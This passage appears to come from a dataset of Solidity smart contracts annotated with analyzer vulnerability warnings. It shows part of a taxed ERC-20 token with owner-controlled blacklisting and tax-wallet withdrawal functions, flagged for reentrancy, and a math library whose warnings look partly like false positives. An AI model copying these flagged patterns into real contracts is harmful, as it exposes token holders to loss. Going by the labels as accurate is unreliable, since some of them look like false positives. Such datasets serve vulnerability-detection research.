_maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 858a35a\n\t\t\t\t\t// reentrancy-eth | ID: d3af964\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d3af964\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d3af964\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d3af964\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 858a35a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d3af964\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d3af964\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 858a35a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 858a35a\n\t\t// reentrancy-events | ID: 66c6630\n\t\t// reentrancy-benign | ID: 11828e1\n\t\t// reentrancy-eth | ID: d3af964\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 858a35a\n\t\t// reentrancy-events | ID: 66c6630\n\t\t// reentrancy-eth | ID: d3af964\n _taxWallet.transfer(amount);\n }\n\n function addB(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delB(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a99056a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a99056a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5acdc90): Michi.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5acdc90: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 76f4751): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 76f4751: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a99056a\n\t\t// unused-return | ID: 5acdc90\n\t\t// reentrancy-eth | ID: 76f4751\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a99056a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 76f4751\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualUnclog() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10171.sol",
"size_bytes": 21919,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nlibrary Panic {\n uint256 internal constant GENERIC = 0x00;\n\n uint256 internal constant ASSERT = 0x01;\n\n uint256 internal constant UNDER_OVERFLOW = 0x11;\n\n uint256 internal constant DIVISION_BY_ZERO = 0x12;\n\n uint256 internal constant ENUM_CONVERSION_ERROR = 0x21;\n\n uint256 internal constant STORAGE_ENCODING_ERROR = 0x22;\n\n uint256 internal constant EMPTY_ARRAY_POP = 0x31;\n\n uint256 internal constant ARRAY_OUT_OF_BOUNDS = 0x32;\n\n uint256 internal constant RESOURCE_ERROR = 0x41;\n\n uint256 internal constant INVALID_INTERNAL_FUNCTION = 0x51;\n\n function panic(uint256 code) internal pure {\n assembly (\"memory-safe\") {\n mstore(0x00, 0x4e487b71)\n\n mstore(0x20, code)\n\n revert(0x1c, 0x24)\n }\n }\n}\n\nlibrary SafeCast {\n error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value);\n\n error SafeCastOverflowedIntToUint(int256 value);\n\n error SafeCastOverflowedIntDowncast(uint8 bits, int256 value);\n\n error SafeCastOverflowedUintToInt(uint256 value);\n\n function toUint248(uint256 value) internal pure returns (uint248) {\n if (value > type(uint248).max) {\n revert SafeCastOverflowedUintDowncast(248, value);\n }\n\n return uint248(value);\n }\n\n function toUint240(uint256 value) internal pure returns (uint240) {\n if (value > type(uint240).max) {\n revert SafeCastOverflowedUintDowncast(240, value);\n }\n\n return uint240(value);\n }\n\n function toUint232(uint256 value) internal pure returns (uint232) {\n if (value > type(uint232).max) {\n revert SafeCastOverflowedUintDowncast(232, value);\n }\n\n return uint232(value);\n }\n\n function toUint224(uint256 value) internal pure returns (uint224) {\n if (value > type(uint224).max) {\n revert SafeCastOverflowedUintDowncast(224, value);\n }\n\n return uint224(value);\n }\n\n function toUint216(uint256 value) internal pure returns (uint216) {\n if (value > type(uint216).max) {\n revert SafeCastOverflowedUintDowncast(216, value);\n }\n\n return uint216(value);\n }\n\n function toUint208(uint256 value) internal pure returns (uint208) {\n if (value > type(uint208).max) {\n revert SafeCastOverflowedUintDowncast(208, value);\n }\n\n return uint208(value);\n }\n\n function toUint200(uint256 value) internal pure returns (uint200) {\n if (value > type(uint200).max) {\n revert SafeCastOverflowedUintDowncast(200, value);\n }\n\n return uint200(value);\n }\n\n function toUint192(uint256 value) internal pure returns (uint192) {\n if (value > type(uint192).max) {\n revert SafeCastOverflowedUintDowncast(192, value);\n }\n\n return uint192(value);\n }\n\n function toUint184(uint256 value) internal pure returns (uint184) {\n if (value > type(uint184).max) {\n revert SafeCastOverflowedUintDowncast(184, value);\n }\n\n return uint184(value);\n }\n\n function toUint176(uint256 value) internal pure returns (uint176) {\n if (value > type(uint176).max) {\n revert SafeCastOverflowedUintDowncast(176, value);\n }\n\n return uint176(value);\n }\n\n function toUint168(uint256 value) internal pure returns (uint168) {\n if (value > type(uint168).max) {\n revert SafeCastOverflowedUintDowncast(168, value);\n }\n\n return uint168(value);\n }\n\n function toUint160(uint256 value) internal pure returns (uint160) {\n if (value > type(uint160).max) {\n revert SafeCastOverflowedUintDowncast(160, value);\n }\n\n return uint160(value);\n }\n\n function toUint152(uint256 value) internal pure returns (uint152) {\n if (value > type(uint152).max) {\n revert SafeCastOverflowedUintDowncast(152, value);\n }\n\n return uint152(value);\n }\n\n function toUint144(uint256 value) internal pure returns (uint144) {\n if (value > type(uint144).max) {\n revert SafeCastOverflowedUintDowncast(144, value);\n }\n\n return uint144(value);\n }\n\n function toUint136(uint256 value) internal pure returns (uint136) {\n if (value > type(uint136).max) {\n revert SafeCastOverflowedUintDowncast(136, value);\n }\n\n return uint136(value);\n }\n\n function toUint128(uint256 value) internal pure returns (uint128) {\n if (value > type(uint128).max) {\n revert SafeCastOverflowedUintDowncast(128, value);\n }\n\n return uint128(value);\n }\n\n function toUint120(uint256 value) internal pure returns (uint120) {\n if (value > type(uint120).max) {\n revert SafeCastOverflowedUintDowncast(120, value);\n }\n\n return uint120(value);\n }\n\n function toUint112(uint256 value) internal pure returns (uint112) {\n if (value > type(uint112).max) {\n revert SafeCastOverflowedUintDowncast(112, value);\n }\n\n return uint112(value);\n }\n\n function toUint104(uint256 value) internal pure returns (uint104) {\n if (value > type(uint104).max) {\n revert SafeCastOverflowedUintDowncast(104, value);\n }\n\n return uint104(value);\n }\n\n function toUint96(uint256 value) internal pure returns (uint96) {\n if (value > type(uint96).max) {\n revert SafeCastOverflowedUintDowncast(96, value);\n }\n\n return uint96(value);\n }\n\n function toUint88(uint256 value) internal pure returns (uint88) {\n if (value > type(uint88).max) {\n revert SafeCastOverflowedUintDowncast(88, value);\n }\n\n return uint88(value);\n }\n\n function toUint80(uint256 value) internal pure returns (uint80) {\n if (value > type(uint80).max) {\n revert SafeCastOverflowedUintDowncast(80, value);\n }\n\n return uint80(value);\n }\n\n function toUint72(uint256 value) internal pure returns (uint72) {\n if (value > type(uint72).max) {\n revert SafeCastOverflowedUintDowncast(72, value);\n }\n\n return uint72(value);\n }\n\n function toUint64(uint256 value) internal pure returns (uint64) {\n if (value > type(uint64).max) {\n revert SafeCastOverflowedUintDowncast(64, value);\n }\n\n return uint64(value);\n }\n\n function toUint56(uint256 value) internal pure returns (uint56) {\n if (value > type(uint56).max) {\n revert SafeCastOverflowedUintDowncast(56, value);\n }\n\n return uint56(value);\n }\n\n function toUint48(uint256 value) internal pure returns (uint48) {\n if (value > type(uint48).max) {\n revert SafeCastOverflowedUintDowncast(48, value);\n }\n\n return uint48(value);\n }\n\n function toUint40(uint256 value) internal pure returns (uint40) {\n if (value > type(uint40).max) {\n revert SafeCastOverflowedUintDowncast(40, value);\n }\n\n return uint40(value);\n }\n\n function toUint32(uint256 value) internal pure returns (uint32) {\n if (value > type(uint32).max) {\n revert SafeCastOverflowedUintDowncast(32, value);\n }\n\n return uint32(value);\n }\n\n function toUint24(uint256 value) internal pure returns (uint24) {\n if (value > type(uint24).max) {\n revert SafeCastOverflowedUintDowncast(24, value);\n }\n\n return uint24(value);\n }\n\n function toUint16(uint256 value) internal pure returns (uint16) {\n if (value > type(uint16).max) {\n revert SafeCastOverflowedUintDowncast(16, value);\n }\n\n return uint16(value);\n }\n\n function toUint8(uint256 value) internal pure returns (uint8) {\n if (value > type(uint8).max) {\n revert SafeCastOverflowedUintDowncast(8, value);\n }\n\n return uint8(value);\n }\n\n function toUint256(int256 value) internal pure returns (uint256) {\n if (value < 0) {\n revert SafeCastOverflowedIntToUint(value);\n }\n\n return uint256(value);\n }\n\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\n downcasted = int248(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(248, value);\n }\n }\n\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\n downcasted = int240(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(240, value);\n }\n }\n\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\n downcasted = int232(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(232, value);\n }\n }\n\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\n downcasted = int224(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(224, value);\n }\n }\n\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\n downcasted = int216(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(216, value);\n }\n }\n\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\n downcasted = int208(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(208, value);\n }\n }\n\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\n downcasted = int200(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(200, value);\n }\n }\n\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\n downcasted = int192(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(192, value);\n }\n }\n\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\n downcasted = int184(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(184, value);\n }\n }\n\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\n downcasted = int176(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(176, value);\n }\n }\n\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\n downcasted = int168(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(168, value);\n }\n }\n\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\n downcasted = int160(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(160, value);\n }\n }\n\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\n downcasted = int152(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(152, value);\n }\n }\n\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\n downcasted = int144(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(144, value);\n }\n }\n\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\n downcasted = int136(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(136, value);\n }\n }\n\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\n downcasted = int128(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(128, value);\n }\n }\n\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\n downcasted = int120(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(120, value);\n }\n }\n\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\n downcasted = int112(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(112, value);\n }\n }\n\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\n downcasted = int104(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(104, value);\n }\n }\n\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\n downcasted = int96(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(96, value);\n }\n }\n\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\n downcasted = int88(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(88, value);\n }\n }\n\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\n downcasted = int80(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(80, value);\n }\n }\n\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\n downcasted = int72(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(72, value);\n }\n }\n\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\n downcasted = int64(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(64, value);\n }\n }\n\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\n downcasted = int56(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(56, value);\n }\n }\n\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\n downcasted = int48(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(48, value);\n }\n }\n\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\n downcasted = int40(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(40, value);\n }\n }\n\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\n downcasted = int32(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(32, value);\n }\n }\n\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\n downcasted = int24(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(24, value);\n }\n }\n\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\n downcasted = int16(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(16, value);\n }\n }\n\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\n downcasted = int8(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(8, value);\n }\n }\n\n function toInt256(uint256 value) internal pure returns (int256) {\n if (value > uint256(type(int256).max)) {\n revert SafeCastOverflowedUintToInt(value);\n }\n\n return int256(value);\n }\n\n function toUint(bool b) internal pure returns (uint256 u) {\n assembly (\"memory-safe\") {\n u := iszero(iszero(b))\n }\n }\n}\n\nlibrary Math {\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function ternary(\n bool condition,\n uint256 a,\n uint256 b\n ) internal pure returns (uint256) {\n unchecked {\n return b ^ ((a ^ b) * SafeCast.toUint(condition));\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a > b, a, b);\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a < b, a, b);\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n unchecked {\n return SafeCast.toUint(a > 0) * ((a - 1) / b + 1);\n }\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e539ea7): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for e539ea7: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5aff60d): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 5aff60d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e5e2a3e): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for e5e2a3e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c638f38): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for c638f38: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 617688c): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 617688c: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9e93696): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 9e93696: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e0f34a4): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for e0f34a4: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 76f2356): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 76f2356: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 8e37a07): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 8e37a07: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n Panic.panic(\n ternary(\n denominator == 0,\n Panic.DIVISION_BY_ZERO,\n Panic.UNDER_OVERFLOW\n )\n );\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: e539ea7\n\t\t\t\t// divide-before-multiply | ID: 5aff60d\n\t\t\t\t// divide-before-multiply | ID: c638f38\n\t\t\t\t// divide-before-multiply | ID: 617688c\n\t\t\t\t// divide-before-multiply | ID: 9e93696\n\t\t\t\t// divide-before-multiply | ID: e0f34a4\n\t\t\t\t// divide-before-multiply | ID: 76f2356\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: e5e2a3e\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: c638f38\n\t\t\t// incorrect-exp | ID: 8e37a07\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 617688c\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 76f2356\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: e0f34a4\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: e539ea7\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 5aff60d\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 9e93696\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: e5e2a3e\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n return\n mulDiv(x, y, denominator) +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0\n );\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e0e908b): Math.invMod(uint256,uint256) performs a multiplication on the result of a division quotient = gcd / remainder (gcd,remainder) = (remainder,gcd remainder * quotient)\n\t// Recommendation for e0e908b: Consider ordering multiplication before division.\n function invMod(uint256 a, uint256 n) internal pure returns (uint256) {\n unchecked {\n if (n == 0) return 0;\n\n uint256 remainder = a % n;\n\n uint256 gcd = n;\n\n int256 x = 0;\n\n int256 y = 1;\n\n while (remainder != 0) {\n\t\t\t\t// divide-before-multiply | ID: e0e908b\n uint256 quotient = gcd / remainder;\n\n\t\t\t\t// divide-before-multiply | ID: e0e908b\n (gcd, remainder) = (remainder, gcd - remainder * quotient);\n\n (x, y) = (y, x - y * int256(quotient));\n }\n\n if (gcd != 1) return 0;\n\n return ternary(x < 0, n - uint256(-x), uint256(x));\n }\n }\n\n function invModPrime(uint256 a, uint256 p) internal view returns (uint256) {\n unchecked {\n return Math.modExp(a, p - 2, p);\n }\n }\n\n function modExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (uint256) {\n (bool success, uint256 result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (bool success, uint256 result) {\n if (m == 0) return (false, 0);\n\n assembly (\"memory-safe\") {\n let ptr := mload(0x40)\n\n mstore(ptr, 0x20)\n\n mstore(add(ptr, 0x20), 0x20)\n\n mstore(add(ptr, 0x40), 0x20)\n\n mstore(add(ptr, 0x60), b)\n\n mstore(add(ptr, 0x80), e)\n\n mstore(add(ptr, 0xa0), m)\n\n success := staticcall(gas(), 0x05, ptr, 0xc0, 0x00, 0x20)\n\n result := mload(0x00)\n }\n }\n\n function modExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bytes memory) {\n (bool success, bytes memory result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bool success, bytes memory result) {\n if (_zeroBytes(m)) return (false, new bytes(0));\n\n uint256 mLen = m.length;\n\n result = abi.encodePacked(b.length, e.length, mLen, b, e, m);\n\n assembly (\"memory-safe\") {\n let dataPtr := add(result, 0x20)\n\n success := staticcall(\n gas(),\n 0x05,\n dataPtr,\n mload(result),\n dataPtr,\n mLen\n )\n\n mstore(result, mLen)\n\n mstore(0x40, add(dataPtr, mLen))\n }\n }\n\n function _zeroBytes(bytes memory byteArray) private pure returns (bool) {\n for (uint256 i = 0; i < byteArray.length; ++i) {\n if (byteArray[i] != 0) {\n return false;\n }\n }\n\n return true;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n unchecked {\n if (a <= 1) {\n return a;\n }\n\n uint256 aa = a;\n\n uint256 xn = 1;\n\n if (aa >= (1 << 128)) {\n aa >>= 128;\n\n xn <<= 64;\n }\n\n if (aa >= (1 << 64)) {\n aa >>= 64;\n\n xn <<= 32;\n }\n\n if (aa >= (1 << 32)) {\n aa >>= 32;\n\n xn <<= 16;\n }\n\n if (aa >= (1 << 16)) {\n aa >>= 16;\n\n xn <<= 8;\n }\n\n if (aa >= (1 << 8)) {\n aa >>= 8;\n\n xn <<= 4;\n }\n\n if (aa >= (1 << 4)) {\n aa >>= 4;\n\n xn <<= 2;\n }\n\n if (aa >= (1 << 2)) {\n xn <<= 1;\n }\n\n xn = (3 * xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n return xn - SafeCast.toUint(xn > a / xn);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && result * result < a\n );\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 exp;\n\n unchecked {\n exp = 128 * SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 64 * SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 32 * SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 16 * SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 8 * SafeCast.toUint(value > (1 << 8) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 4 * SafeCast.toUint(value > (1 << 4) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 2 * SafeCast.toUint(value > (1 << 2) - 1);\n\n value >>= exp;\n\n result += exp;\n\n result += SafeCast.toUint(value > 1);\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << result < value\n );\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 10 ** result < value\n );\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 isGt;\n\n unchecked {\n isGt = SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= isGt * 128;\n\n result += isGt * 